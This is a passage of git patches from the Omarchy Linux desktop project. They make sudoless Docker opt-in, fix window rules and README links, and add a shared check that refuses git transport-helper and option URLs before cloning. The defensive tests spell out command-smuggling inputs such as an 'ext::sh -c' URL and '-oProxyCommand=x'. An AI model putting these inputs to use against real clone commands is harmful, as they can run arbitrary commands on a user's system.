{"icon":"󰡨","label":"Sudoless Docker","action":"omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-sudoless-docker"}, + "setup.security.sudoless-docker": {"icon":"󰡨","label":"Sudoless Docker","when":"omarchy-sudo-docker --configured","action":"omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-sudoless-docker"}, "setup.config.hyprland": {"icon":"","label":"Hyprland","action":"omarchy-launch-config-editor \"$HOME/.config/hypr/hyprland.lua\""}, "setup.config.hyprsunset": {"icon":"","label":"Hyprsunset","action":"omarchy-launch-config-editor ~/.config/hypr/hyprsunset.conf && omarchy-restart-hyprsunset"}, "setup.config.xcompose": {"icon":"󰞅","label":"XCompose","action":"omarchy-launch-config-editor ~/.XCompose && omarchy-restart-xcompose"}, @@ -291,7 +291,7 @@ "remove.security.fingerprint": {"icon":"󰈷","label":"Fingerprint","when":"omarchy-pkg-present fprintd","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-fingerprint"}, "remove.security.fido2": {"icon":"","label":"Fido2","when":"omarchy-pkg-present pam-u2f","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-fido2"}, "remove.security.sshd": {"icon":"󰣀","label":"SSHD","when":"systemctl is-enabled --quiet sshd","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-sshd"}, - "remove.security.sudoless-docker": {"icon":"󰡨","label":"Sudoless Docker","when":"id -nG | grep -qw docker","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-sudoless-docker"}, + "remove.security.sudoless-docker": {"icon":"󰡨","label":"Sudoless Docker","when":"! omarchy-sudo-docker --configured","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-sudoless-docker"}, "remove.browser.chrome": {"icon":"","label":"Chrome","when":"omarchy-pkg-present google-chrome","action":"omarchy-launch-floating-terminal-with-presentation 'omarchy-remove-browser chrome'"}, "remove.browser.edge": {"icon":"󰇩","label":"Edge","when":"omarchy-pkg-present microsoft-edge-stable-bin","action":"omarchy-launch-floating-terminal-with-presentation 'omarchy-remove-browser edge'"}, "remove.browser.brave": {"icon":"","label":"Brave","when":"omarchy-pkg-present brave-bin","action":"omarchy-launch-floating-terminal-with-presentation 'omarchy-remove-browser brave'"}, diff --git a/migrations/1787580187.sh b/migrations/1787580187.sh index 54ac1e9c..cf07cc66 100644 --- a/migrations/1787580187.sh +++ b/migrations/1787580187.sh @@ -2,13 +2,15 @@ echo "Move this install to the opt-in docker group default (the group is root-eq # The docker group grants passwordless root (a container can bind-mount / and # rewrite the host), so Omarchy no longer puts users in it by default. Bring -# existing installs in line: remove this user from the group if present. It takes -# effect at next login, and the current session keeps working until then. Anyone -# who wants passwordless docker back can opt in, behind a warning, with +# existing installs in line: remove this user from the group if present. The +# change applies after a reboot, so it stays reachable until then. Anyone who +# wants passwordless docker back can opt in, behind a warning, with # Setup > Security > Sudoless Docker. Reuses the removal command so there is one -# source of truth for the privileged change and its notice. +# source of truth for the privileged change and its notice; DEFER_REBOOT keeps +# it from prompting mid-update — omarchy-update-restart handles the reboot once +# the whole update has finished. if id -nG "$USER" | grep -qw docker; then - omarchy-remove-security-sudoless-docker + OMARCHY_DEFER_REBOOT=1 omarchy-remove-security-sudoless-docker fi # The Docker app entry copied into ~/.local/share/applications used to run diff --git a/test/shell.d/docker-group-migration-test.sh b/test/shell.d/docker-group-migration-test.sh index ba2c4108..d382f88f 100644 --- a/test/shell.d/docker-group-migration-test.sh +++ b/test/shell.d/docker-group-migration-test.sh @@ -39,16 +39,30 @@ cat >"$stub_bin/gpasswd" <<'STUB' #!/bin/bash echo "$@" >>"${GPASSWD_CALLS:?}" STUB -chmod +x "$stub_bin/id" "$stub_bin/sudo" "$stub_bin/gpasswd" +# gum confirm always says yes, and reboot records that it fired: the migration +# must still NOT reboot (it defers to omarchy-update-restart), so neither should +# be reached. +cat >"$stub_bin/gum" <<'STUB' +#!/bin/bash +[[ $1 == confirm ]] && exit 0 +exit 0 +STUB +cat >"$stub_bin/omarchy-system-reboot" <<'STUB' +#!/bin/bash +touch "${REBOOT_CALLED:?}" +STUB +chmod +x "$stub_bin/id" "$stub_bin/sudo" "$stub_bin/gpasswd" "$stub_bin/gum" "$stub_bin/omarchy-system-reboot" reboot_flag="$home/.local/state/omarchy/reboot-required" gpasswd_calls="$test_dir/gpasswd-calls" +reboot_called="$test_dir/reboot-called" launcher="$home/.local/share/applications/Docker.desktop" run_migration() { - rm -f "$gpasswd_calls" "$reboot_flag" + rm -f "$gpasswd_calls" "$reboot_flag" "$reboot_called" HOME="$home" OMARCHY_PATH="$omarchy_path" USER="tester" STUB_GROUPS="$1" \ - GPASSWD_CALLS="$gpasswd_calls" PATH="$stub_bin:$ROOT/bin:$PATH" \ + GPASSWD_CALLS="$gpasswd_calls" REBOOT_CALLED="$reboot_called" \ + PATH="$stub_bin:$ROOT/bin:$PATH" \ bash -euo pipefail "$migration" >/dev/null 2>&1 } @@ -56,6 +70,7 @@ run_migration() { run_migration "wheel input docker" || fail "migration runs when the user is in the docker group" grep -q -- "-d tester docker" "$gpasswd_calls" || fail "migration removes the user from the docker group" [[ -f $reboot_flag ]] || fail "migration flags a reboot so the group change takes effect" +[[ ! -f $reboot_called ]] || fail "migration must defer the reboot (not reboot mid-update)" [[ $(cat "$launcher") == "NEW-LAUNCHER" ]] || fail "migration refreshes the stale Docker launcher entry" pass "migration removes the group, flags a reboot, and refreshes the launcher" diff --git a/test/shell.d/sudo-docker-test.sh b/test/shell.d/sudo-docker-test.sh new file mode 100644 index 00000000..d108030a --- /dev/null +++ b/test/shell.d/sudo-docker-test.sh @@ -0,0 +1,67 @@ +#!/bin/bash +# +# omarchy-sudo-docker is the single answer to "does Docker need sudo", and it +# answers two different questions on purpose. The default asks whether this +# session can reach the socket, which is what decides if a command must elevate. +# --configured asks whether the account is set up for sudoless Docker, which is +# what the menu needs so it offers the toggle that can change state. Between +# enabling sudoless Docker and the reboot that grants the group, those disagree. + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +command="$ROOT/bin/omarchy-sudo-docker" + +# Stub id so the configured groups are controllable. +mkdir -p "$TMPDIR/bin" +cat >"$TMPDIR/bin/id" <<'STUB' +#!/bin/bash +printf '%s\n' "${STUB_GROUPS:-wheel input}" +STUB +chmod +x "$TMPDIR/bin/id" + +# A writable stand-in means the socket is reachable; an unwritable one means it +# is not. Test the file mode rather than a live daemon. +reachable_socket="$TMPDIR/reachable.sock" +blocked_socket="$TMPDIR/blocked.sock" +touch "$reachable_socket" "$blocked_socket" +chmod 600 "$reachable_socket" +chmod 400 "$blocked_socket" + +run() { # SOCKET GROUPS [--configured] + env PATH="$TMPDIR/bin:$PATH" OMARCHY_DOCKER_SOCKET="$1" STUB_GROUPS="$2" USER=tester \ + bash "$command" ${3:+"$3"} +} + +# Default mode follows the socket, not the group list. +run "$blocked_socket" "wheel input" || fail "an unreachable socket means Docker needs sudo" +run "$reachable_socket" "wheel input" && fail "a reachable socket means Docker does not need sudo" +pass "default mode answers from the socket this session can reach" + +# A socket that isn't there at all still needs elevation (starting it is root work). +run "$TMPDIR/absent.sock" "wheel input docker" || fail "a missing socket means Docker needs sudo" +pass "a missing socket counts as needing sudo" + +# --configured follows the account's groups, not the socket. +run "$blocked_socket" "wheel input docker" --configured && fail "a configured docker group means no sudo is needed" +run "$reachable_socket" "wheel input" --configured || fail "no docker group means sudo is needed" +pass "--configured answers from the account's groups" + +# The window this split exists for: sudoless Docker has just been enabled, so the +# account carries the group while the running session still cannot use it. The +# menu must offer Remove (--configured says no sudo) while lazydocker and the +# Windows VM must still prompt (default says sudo). +run "$blocked_socket" "wheel input docker" || fail "the session still needs sudo before the reboot" +run "$blocked_socket" "wheel input docker" --configured && fail "the account is already configured for sudoless Docker" +pass "the two modes disagree between enabling sudoless Docker and the reboot" + +# An unknown argument is a usage error, not a silent answer either way. +run "$reachable_socket" "wheel input" --bogus 2>/dev/null && fail "an unknown flag exits non-zero" +status=0 +run "$reachable_socket" "wheel input" --bogus >/dev/null 2>&1 || status=$? +(( status == 2 )) || fail "an unknown flag exits 2, not the boolean 1" +pass "an unknown flag is a usage error" diff --git a/test/shell.d/sudoless-docker-toggle-test.sh b/test/shell.d/sudoless-docker-toggle-test.sh new file mode 100644 index 00000000..ffa18316 --- /dev/null +++ b/test/shell.d/sudoless-docker-toggle-test.sh @@ -0,0 +1,93 @@ +#!/bin/bash +# +# Toggling sudoless Docker changes the docker group, which only takes effect on a +# reboot. The setup/remove commands must flag the reboot and offer to do it now +# (gum confirm), but defer it when OMARCHY_DEFER_REBOOT is set (the migration +# reuses them inside `omarchy update`, where omarchy-update-restart handles it). + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +test_dir=$(mktemp -d) +trap 'rm -rf "$test_dir"' EXIT +home="$test_dir/home" +stub_bin="$test_dir/bin" +mkdir -p "$home" "$stub_bin" + +cat >"$stub_bin/id" <<'STUB' +#!/bin/bash +printf '%s\n' "${STUB_GROUPS:-wheel input}" +STUB +cat >"$stub_bin/sudo" <<'STUB' +#!/bin/bash +exec "$@" +STUB +cat >"$stub_bin/usermod" <<'STUB' +#!/bin/bash +echo "$@" >>"${USERMOD_CALLS:?}" +STUB +cat >"$stub_bin/gpasswd" <<'STUB' +#!/bin/bash +echo "$@" >>"${GPASSWD_CALLS:?}" +STUB +cat >"$stub_bin/gum" <<'STUB' +#!/bin/bash +touch "${GUM_CALLED:?}" +exit "${GUM_ANSWER:-0}" +STUB +cat >"$stub_bin/omarchy-system-reboot" <<'STUB' +#!/bin/bash +touch "${REBOOT_CALLED:?}" +STUB +chmod +x "$stub_bin"/* + +reboot_flag="$home/.local/state/omarchy/reboot-required" +gum_called="$test_dir/gum-called" +reboot_called="$test_dir/reboot-called" +gpasswd_calls="$test_dir/gpasswd-calls" +usermod_calls="$test_dir/usermod-calls" + +run() { # command STUB_GROUPS GUM_ANSWER DEFER(0|1) + rm -f "$reboot_flag" "$gum_called" "$reboot_called" "$gpasswd_calls" "$usermod_calls" + local defer_env=() + [[ ${4:-0} == 1 ]] && defer_env=(OMARCHY_DEFER_REBOOT=1) + env HOME="$home" USER="tester" STUB_GROUPS="$2" GUM_ANSWER="$3" \ + GUM_CALLED="$gum_called" REBOOT_CALLED="$reboot_called" \ + GPASSWD_CALLS="$gpasswd_calls" USERMOD_CALLS="$usermod_calls" \ + PATH="$stub_bin:$ROOT/bin:$PATH" "${defer_env[@]}" \ + bash "$ROOT/bin/$1" >/dev/null 2>&1 +} + +# Remove, interactive, reboot confirmed -> group removed, flag set, reboot fired. +run omarchy-remove-security-sudoless-docker "wheel input docker" 0 0 +grep -q -- "-d tester docker" "$gpasswd_calls" || fail "remove drops the user from the docker group" +[[ -f $reboot_flag ]] || fail "remove flags a reboot" +[[ -f $reboot_called ]] || fail "remove reboots when the prompt is confirmed" +pass "remove drops the group, flags a reboot, and reboots on confirm" + +# Remove, interactive, reboot declined -> flag set, but no reboot. +run omarchy-remove-security-sudoless-docker "wheel input docker" 1 0 +[[ -f $reboot_flag ]] || fail "remove still flags a reboot when the prompt is declined" +[[ ! -f $reboot_called ]] || fail "remove does not reboot when the prompt is declined" +pass "remove leaves the reboot to the user when declined" + +# Remove, deferred (migration/update) -> flag set, prompt never shown. +run omarchy-remove-security-sudoless-docker "wheel input docker" 0 1 +[[ -f $reboot_flag ]] || fail "deferred remove still flags a reboot" +[[ ! -f $gum_called ]] || fail "deferred remove must not prompt to reboot" +[[ ! -f $reboot_called ]] || fail "deferred remove must not reboot" +pass "deferred remove flags the reboot without prompting" + +# Remove, already out of the group -> no-op, nothing flagged. +run omarchy-remove-security-sudoless-docker "wheel input" 0 0 +[[ ! -f $gpasswd_calls ]] || fail "remove is a no-op when the user is not in the docker group" +[[ ! -f $reboot_flag ]] || fail "remove does not flag a reboot when nothing changed" +pass "remove is a no-op when sudoless Docker is already off" + +# Setup, enable confirmed then reboot confirmed -> group added, flag set, reboot. +run omarchy-setup-security-sudoless-docker "wheel input" 0 0 +grep -q -- "-aG docker tester" "$usermod_calls" || fail "setup adds the user to the docker group" +[[ -f $reboot_flag ]] || fail "setup flags a reboot" +[[ -f $reboot_called ]] || fail "setup reboots when the prompt is confirmed" +pass "setup adds the group, flags a reboot, and reboots on confirm" From b86d4505c11b71f90b7bd14d6a80676863a70775 Mon Sep 17 00:00:00 2001 From: Sameer Pokharel <56714863+samirpokharel@users.noreply.github.com> Date: Tue, 25 Aug 2026 01:44:17 +0545 Subject: [PATCH 043/336] Renumber the README manual TOC after Extra themes was dropped (#8089) Dropping manual/43-extra-themes.md shifted every chapter after it down by one. The TOC rode along on the old numbers, so its last ten links 404. --- README.md | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index c7e541a2..96838a94 100644 --- a/README.md +++ b/README.md @@ -61,19 +61,18 @@ its screenshots are also hosted. - [Prompt](manual/40-prompt.md) - [Branding](manual/41-branding.md) - [Common tweaks](manual/42-common-tweaks.md) -- [Extra themes](manual/43-extra-themes.md) -- [Making your own theme](manual/44-making-your-own-theme.md) +- [Making your own theme](manual/43-making-your-own-theme.md) **The Rest** -- [Mac support](manual/45-mac-support.md) -- [Troubleshooting](manual/46-troubleshooting.md) -- [FAQ](manual/47-faq.md) -- [System snapshots](manual/48-system-snapshots.md) -- [Security](manual/49-security.md) -- [Omarchy on...](manual/50-omarchy-on.md) -- [Dual Boot Install](manual/51-dual-boot-install.md) -- [Unattended Installs](manual/52-unattended-installs.md) +- [Mac support](manual/44-mac-support.md) +- [Troubleshooting](manual/45-troubleshooting.md) +- [FAQ](manual/46-faq.md) +- [System snapshots](manual/47-system-snapshots.md) +- [Security](manual/48-security.md) +- [Omarchy on...](manual/49-omarchy-on.md) +- [Dual Boot Install](manual/50-dual-boot-install.md) +- [Unattended Installs](manual/51-unattended-installs.md) ## License From 597f57a198f664aaa8604a2625b934c55876278d Mon Sep 17 00:00:00 2001 From: Akshar Patel Date: Mon, 24 Aug 2026 22:00:42 -0400 Subject: [PATCH 044/336] Allow Resolve Voiceover to release focus --- default/hypr/apps/davinci-resolve.lua | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/default/hypr/apps/davinci-resolve.lua b/default/hypr/apps/davinci-resolve.lua index a2eeef40..734d2b8f 100644 --- a/default/hypr/apps/davinci-resolve.lua +++ b/default/hypr/apps/davinci-resolve.lua @@ -10,4 +10,5 @@ o.window(".*[Rr]esolve.*", { }) o.window({ class = ".*[Rr]esolve.*", title = "^DaVinci Resolve( Studio)? - .+$" }, { fullscreen = true }) -o.window({ class = ".*[Rr]esolve.*", title = "^(DaVinci Resolve( Studio)? - .+|Project Manager|Preferences|Find Directory)$" }, { stay_focused = false }) +-- Resolve exposes the Voiceover panel under the generic "Dialog" title. +o.window({ class = ".*[Rr]esolve.*", title = "^(DaVinci Resolve( Studio)? - .+|Project Manager|Preferences|Find Directory|Dialog)$" }, { stay_focused = false }) From 8bee78bc639388931fec76ccabe16d72decc0637 Mon Sep 17 00:00:00 2001 From: Jason Wall Date: Mon, 24 Aug 2026 22:11:16 -0700 Subject: [PATCH 045/336] Keep the Windows VM display fully opaque --- default/hypr/apps/windows-vm.lua | 5 +++++ test/shell.d/windows-vm-test.sh | 11 +++++++++++ 2 files changed, 16 insertions(+) create mode 100644 default/hypr/apps/windows-vm.lua diff --git a/default/hypr/apps/windows-vm.lua b/default/hypr/apps/windows-vm.lua new file mode 100644 index 00000000..a31bf882 --- /dev/null +++ b/default/hypr/apps/windows-vm.lua @@ -0,0 +1,5 @@ +-- Keep the Windows VM display opaque instead of applying the default window opacity. +o.window({ class = "^xfreerdp$", title = "^Windows VM - Omarchy$" }, { + tag = "-default-opacity", + opacity = "1 1", +}) diff --git a/test/shell.d/windows-vm-test.sh b/test/shell.d/windows-vm-test.sh index 2e887672..181a0b02 100644 --- a/test/shell.d/windows-vm-test.sh +++ b/test/shell.d/windows-vm-test.sh @@ -5,6 +5,7 @@ set -euo pipefail source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" windows_vm_command="$ROOT/bin/omarchy-windows-vm" +windows_vm_rules="$ROOT/default/hypr/apps/windows-vm.lua" rg -q '^ restart: "no"$' "$windows_vm_command" || fail "Windows VM uses manual startup by default" @@ -14,3 +15,13 @@ if rg -q '^ restart: unless-stopped$' "$windows_vm_command"; then fail "Windows VM does not restart automatically at boot" fi pass "Windows VM does not restart automatically at boot" + +rg -q '/title:"Windows VM - Omarchy"' "$windows_vm_command" || + fail "Windows VM launches FreeRDP with its expected title" +rg -q 'class = "\^xfreerdp\$", title = "\^Windows VM - Omarchy\$"' "$windows_vm_rules" || + fail "Windows VM opacity rule targets its FreeRDP window" +rg -q 'tag = "-default-opacity"' "$windows_vm_rules" || + fail "Windows VM opts out of default opacity" +rg -q 'opacity = "1 1"' "$windows_vm_rules" || + fail "Windows VM stays fully opaque" +pass "Windows VM stays fully opaque" From 30471bf35a7fb28e24d960045e7ecd7cda132f1f Mon Sep 17 00:00:00 2001 From: Basti <233381911+bastidotnet@users.noreply.github.com> Date: Tue, 25 Aug 2026 08:29:48 +0200 Subject: [PATCH 046/336] Guard plugin-add against git transport-helper URLs (match theme-install) (#8067) * Guard plugin-add against git transport-helper URLs omarchy-plugin-add cloned a user-supplied git URL without the transport-helper guard that omarchy-theme-install already applies (added in #7884, which did not touch plugin-add). Port that guard (reject ext::/fd:: and leading-dash forms, keep https/ssh/scp-style incl. IPv6) and add a regression test. Stock systems are unaffected (git default protocol.ext.allow=never); this removes the silent dependency on that default and aligns the two install paths. * Test the plugin-add guard's leading-dash arm via the gum input path The prior leading-dash cases only exercised the argv option parser, not the guard (removing the guard's -* arm left them green). Drive a dash value through the interactive gum prompt under a pty so the post-input guard is actually covered; skip cleanly where util-linux script is unavailable. --- bin/omarchy-plugin-add | 9 +++ test/shell.d/plugin-add-test.sh | 105 ++++++++++++++++++++++++++++++++ 2 files changed, 114 insertions(+) diff --git a/bin/omarchy-plugin-add b/bin/omarchy-plugin-add index f0bdfca5..9fa0e6c0 100755 --- a/bin/omarchy-plugin-add +++ b/bin/omarchy-plugin-add @@ -93,6 +93,15 @@ if [[ -z $url ]]; then [[ -n $url ]] || fail "a git URL is required" fi +# git reads a leading dash as an option, and `::
` as a remote +# helper to run at clone time. Reject both so an untrusted URL cannot smuggle a +# transport helper that executes before the plugin is validated or enabled. An +# scp-style IPv6 host such as git@[2001:db8::1]:org/repo.git carries `::` too and +# must still clone. +if [[ $url == -* || $url =~ ^[A-Za-z0-9][A-Za-z0-9+.-]*:: ]]; then + fail "'$url' names a git option or transport helper, not a repository." +fi + if (( ! ASSUME_YES )); then cat >&2 <::…`) and option-shaped URLs +# before `git clone` runs, matching omarchy-theme-install. A git stub records +# whether clone was reached, so the guard is exercised with no network: reaching +# the stub proves a URL passed the guard; not reaching it proves the guard +# rejected the URL first. + +guard_stubs="$TMPDIR/guard-stubs" +mkdir -p "$guard_stubs" +cat >"$guard_stubs/omarchy-shell" <<'STUB' +#!/bin/bash +exit 0 +STUB +chmod +x "$guard_stubs/omarchy-shell" + +clone_marker="$TMPDIR/git-clone-reached" +cat >"$guard_stubs/git" <"$guard_stubs/gum" <<'STUB' +#!/bin/bash +if [[ $1 == "input" ]]; then + printf '%s\n' "$GUM_INPUT_VALUE" +fi +STUB +chmod +x "$guard_stubs/gum" + +add_url() { + HOME="$test_home" OMARCHY_PATH="$ROOT" PATH="$guard_stubs:$ROOT/bin:$PATH" \ + omarchy-plugin-add "$1" --yes 2>&1 +} + +# Transport helpers reach the guard, are named as such, and never reach clone. +for bad in "ext::sh -c touch /tmp/omarchy-guard-test" "fd::17"; do + rm -f "$clone_marker" + output=$(add_url "$bad") && + fail "plugin add rejects a transport-helper URL: $bad" "$output" + grep -qF "names a git option or transport helper" <<<"$output" || + fail "plugin add names the transport-helper rejection: $bad" "$output" + [[ ! -e $clone_marker ]] || + fail "plugin add reached git clone for a transport-helper URL: $bad" +done +pass "plugin add rejects transport-helper URLs before cloning" + +# Option-shaped URLs on argv are refused before clone — by the option parser +# (`-*` falls to "unknown add option"), not the guard. The guard's own +# leading-dash arm is only reachable through the interactive gum prompt and is +# exercised separately below. +for bad in "-oProxyCommand=x" "--upload-pack=x"; do + rm -f "$clone_marker" + output=$(add_url "$bad") && + fail "plugin add rejects an option-shaped URL: $bad" "$output" + [[ ! -e $clone_marker ]] || + fail "plugin add reached git clone for an option-shaped URL: $bad" +done +pass "plugin add rejects option-shaped URLs before cloning" + +# The guard's leading-dash arm is only reachable through `gum input`: argv +# dashes die in the option parser first. interactive() requires a TTY on stdin +# and stdout, so run this one case on a pty via util-linux `script -qec` (the +# suite's existing pty idiom); gum itself is stubbed, so no rendering happens. +# Probe script's util-linux syntax first and skip cleanly where it is missing. +if script -qec true /dev/null >/dev/null 2>&1; then + rm -f "$clone_marker" + status=0 + raw=$(GUM_INPUT_VALUE="-oProxyCommand=x" HOME="$test_home" OMARCHY_PATH="$ROOT" \ + PATH="$guard_stubs:$ROOT/bin:$PATH" \ + script -qec "omarchy-plugin-add --yes" /dev/null) || status=$? + output=$(tr -d '\r' <<<"$raw") + (( status != 0 )) || + fail "plugin add rejects an option-shaped URL from the gum prompt" "$output" + grep -qF "names a git option or transport helper" <<<"$output" || + fail "plugin add names the guard rejection for the gum-prompt URL" "$output" + [[ ! -e $clone_marker ]] || + fail "plugin add reached git clone for an option-shaped gum-prompt URL" + pass "plugin add guard rejects an option-shaped URL from the interactive prompt" +else + pass "script -qec unavailable; skipping the interactive gum-prompt guard case" +fi + +# Legitimate URL forms pass the guard and reach git clone (stubbed, no network). +for good in \ + "https://github.com/acme/omarchy-weather.git" \ + "git@github.com:acme/repo.git" \ + "ssh://git@github.com/acme/repo.git" \ + "git@[2001:db8::1]:org/repo.git"; do + rm -f "$clone_marker" + output=$(add_url "$good") || true + ! grep -qF "names a git option or transport helper" <<<"$output" || + fail "plugin add wrongly rejected a legitimate URL: $good" "$output" + [[ -e $clone_marker ]] || + fail "plugin add did not reach git clone for a legitimate URL: $good" "$output" +done +pass "plugin add lets legitimate git URLs reach git clone" From 12c350e404acaa8149bd5cb4c783ba7f52cb78ef Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Tue, 25 Aug 2026 08:45:50 +0200 Subject: [PATCH 047/336] Match the Windows VM title regardless of the launcher's shell quoting The new assertion pinned /title:"Windows VM - Omarchy" with the quote sitting immediately after the colon. That quote is incidental shell syntax, not the title the Hyprland rule matches on. Open PR #7902 moves the RDP arguments into an array, where the same flag reads "/title:Windows VM - Omarchy", so the assertion would fail for whichever of the two pull requests merged second. Allow an optional quote after the colon. The assertion still fails if the title itself drifts, in either direction, which is the coupling it exists to protect. Co-Authored-By: Claude Opus 5 (1M context) --- test/shell.d/windows-vm-test.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/test/shell.d/windows-vm-test.sh b/test/shell.d/windows-vm-test.sh index 181a0b02..e2a04dae 100644 --- a/test/shell.d/windows-vm-test.sh +++ b/test/shell.d/windows-vm-test.sh @@ -16,7 +16,9 @@ if rg -q '^ restart: unless-stopped$' "$windows_vm_command"; then fi pass "Windows VM does not restart automatically at boot" -rg -q '/title:"Windows VM - Omarchy"' "$windows_vm_command" || +# Tolerate either shell quoting of the argument -- what must not drift is the +# title itself, since the Hyprland rule below matches on it. +rg -q 'title:"?Windows VM - Omarchy"' "$windows_vm_command" || fail "Windows VM launches FreeRDP with its expected title" rg -q 'class = "\^xfreerdp\$", title = "\^Windows VM - Omarchy\$"' "$windows_vm_rules" || fail "Windows VM opacity rule targets its FreeRDP window" From 68ab12f77dd0e044c0dbb1f4787fb72b763ab135 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Tue, 25 Aug 2026 09:10:20 +0200 Subject: [PATCH 048/336] Share the git URL check, and refuse the transports Omarchy does not clone from (#8174) * Share the git URL check between theme-install and plugin-add Both commands clone a URL a stranger can choose, and each carried its own copy of the rule that refuses a git option or a `::
` transport helper before cloning. Two copies of a security check drift: the second one arrived four months after the first, and only because someone went looking for it. The rule now lives in omarchy-git-url-check and the callers ask it. Its absence refuses the URL rather than waving it through, since the callers read a non-zero status as a refusal and a missing command exits 127. Co-Authored-By: Claude Opus 5 Co-Authored-By: Codex XHigh * Refuse a git URL naming a transport Omarchy does not clone from `::
` is only one of the two ways a URL reaches a remote helper. git also resolves git-remote- for `://
` whenever the scheme is not one it connects itself, so `ext::sh -c id` and `ext://sh -c id` arrive at the same helper while only the first was refused. That shape cannot be refused outright, because it is also how every legitimate URL arrives, so the scheme is checked against the transports git still connects itself. `git+ssh` and `ssh+git` are on that list: they are spelled like a helper and read as plain ssh, and leaving them off would refuse a URL that clones today. `ext` and `fd` are off it deliberately -- git ships a helper for each, and `ext` runs whatever command the URL carries. Co-Authored-By: Claude Opus 5 Co-Authored-By: Codex XHigh --------- Co-authored-by: David Heinemeier Hansson Co-authored-by: Claude Opus 5 Co-authored-by: Codex XHigh --- bin/omarchy-git-url-check | 50 ++++++++++++++ bin/omarchy-plugin-add | 14 ++-- bin/omarchy-theme-install | 12 ++-- test/shell.d/git-url-check-test.sh | 79 +++++++++++++++++++++++ test/shell.d/plugin-add-test.sh | 14 ++++ test/shell.d/theme-install-guards-test.sh | 25 ++++++- 6 files changed, 177 insertions(+), 17 deletions(-) create mode 100755 bin/omarchy-git-url-check create mode 100755 test/shell.d/git-url-check-test.sh diff --git a/bin/omarchy-git-url-check b/bin/omarchy-git-url-check new file mode 100755 index 00000000..53109949 --- /dev/null +++ b/bin/omarchy-git-url-check @@ -0,0 +1,50 @@ +#!/bin/bash + +# omarchy:summary=Check that a git URL names a repository, not a transport helper +# omarchy:args= +# omarchy:hidden=true + +set -euo pipefail + +# git picks a remote helper -- an executable it runs at clone time -- out of a URL +# in exactly two shapes, and no others: `::
`, and +# `://
` for any scheme git does not handle itself. A single +# colon is always scp-style ssh, and a bare path is always a path; neither can +# reach a helper. So constraining those two shapes covers the whole surface. +# +# The `::` shape is refused outright, because no helper reachable that way is one +# a theme or plugin URL has business naming, and `ext::` runs a shell command. +# The `://` shape cannot be refused the same way, since it is also how every +# legitimate URL arrives -- so it is allowlisted instead. The list is the +# transports git still connects itself, `git+ssh` and `ssh+git` included: those +# two are spelled like a helper but are read as plain ssh. `ext` and `fd` are +# left out deliberately -- git ships a helper for each, and `ext` runs whatever +# command the URL carries. +TRANSPORTS=(ssh git git+ssh ssh+git http https ftp ftps file) + +fail() { + echo "omarchy-git-url-check: $*" >&2 + exit 1 +} + +url="${1-}" + +if [[ -z $url ]]; then + fail "a git URL is required" +fi + +if [[ $url == -* || $url =~ ^[A-Za-z0-9][A-Za-z0-9+.-]*:: ]]; then + fail "'$url' names a git option or transport helper, not a repository." +fi + +if [[ $url =~ ^([A-Za-z0-9][A-Za-z0-9+.-]*):// ]]; then + scheme="${BASH_REMATCH[1]}" + + for transport in "${TRANSPORTS[@]}"; do + if [[ $scheme == "$transport" ]]; then + exit 0 + fi + done + + fail "'$url' names the '$scheme' transport, which Omarchy does not clone from." +fi diff --git a/bin/omarchy-plugin-add b/bin/omarchy-plugin-add index 9fa0e6c0..d77593e9 100755 --- a/bin/omarchy-plugin-add +++ b/bin/omarchy-plugin-add @@ -93,14 +93,12 @@ if [[ -z $url ]]; then [[ -n $url ]] || fail "a git URL is required" fi -# git reads a leading dash as an option, and `::
` as a remote -# helper to run at clone time. Reject both so an untrusted URL cannot smuggle a -# transport helper that executes before the plugin is validated or enabled. An -# scp-style IPv6 host such as git@[2001:db8::1]:org/repo.git carries `::` too and -# must still clone. -if [[ $url == -* || $url =~ ^[A-Za-z0-9][A-Za-z0-9+.-]*:: ]]; then - fail "'$url' names a git option or transport helper, not a repository." -fi +# Refuse a URL that names a git option or a transport helper before cloning, so +# an untrusted URL cannot run a command before the plugin is validated or +# enabled. The check is shared with omarchy-theme-install and explains itself; a +# missing checker leaves this non-zero, which refuses the URL rather than +# cloning it. +omarchy-git-url-check "$url" || exit 1 if (( ! ASSUME_YES )); then cat >&2 <::
` as a remote -# helper to run. The helper name is a bare word at the very start, which is what -# this matches; an scp-style IPv6 host such as git@[2001:db8::1]:org/repo.git -# carries `::` too and must still clone. -if [[ $REPO_URL == -* || $REPO_URL =~ ^[A-Za-z0-9][A-Za-z0-9+.-]*:: ]]; then - echo "Error: '$REPO_URL' names a git option or transport helper, not a repository." - exit 1 -fi +# Refuse a URL that names a git option or a transport helper before cloning. The +# check is shared with omarchy-plugin-add and explains itself; a missing checker +# leaves this non-zero, which refuses the URL rather than cloning it. +omarchy-git-url-check "$REPO_URL" || exit 1 THEMES_DIR="$HOME/.config/omarchy/themes" diff --git a/test/shell.d/git-url-check-test.sh b/test/shell.d/git-url-check-test.sh new file mode 100755 index 00000000..405fc048 --- /dev/null +++ b/test/shell.d/git-url-check-test.sh @@ -0,0 +1,79 @@ +#!/bin/bash + +set -euo pipefail + +# omarchy-git-url-check decides which URLs omarchy-theme-install and +# omarchy-plugin-add are willing to hand to `git clone`. git resolves a remote +# helper -- a program it runs at clone time -- from exactly two URL shapes, +# `::
` and `://
`, so those are the two shapes +# asserted here, alongside every legitimate form a user is likely to paste. + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +check() { + "$ROOT/bin/omarchy-git-url-check" "$@" 2>&1 +} + +# `::
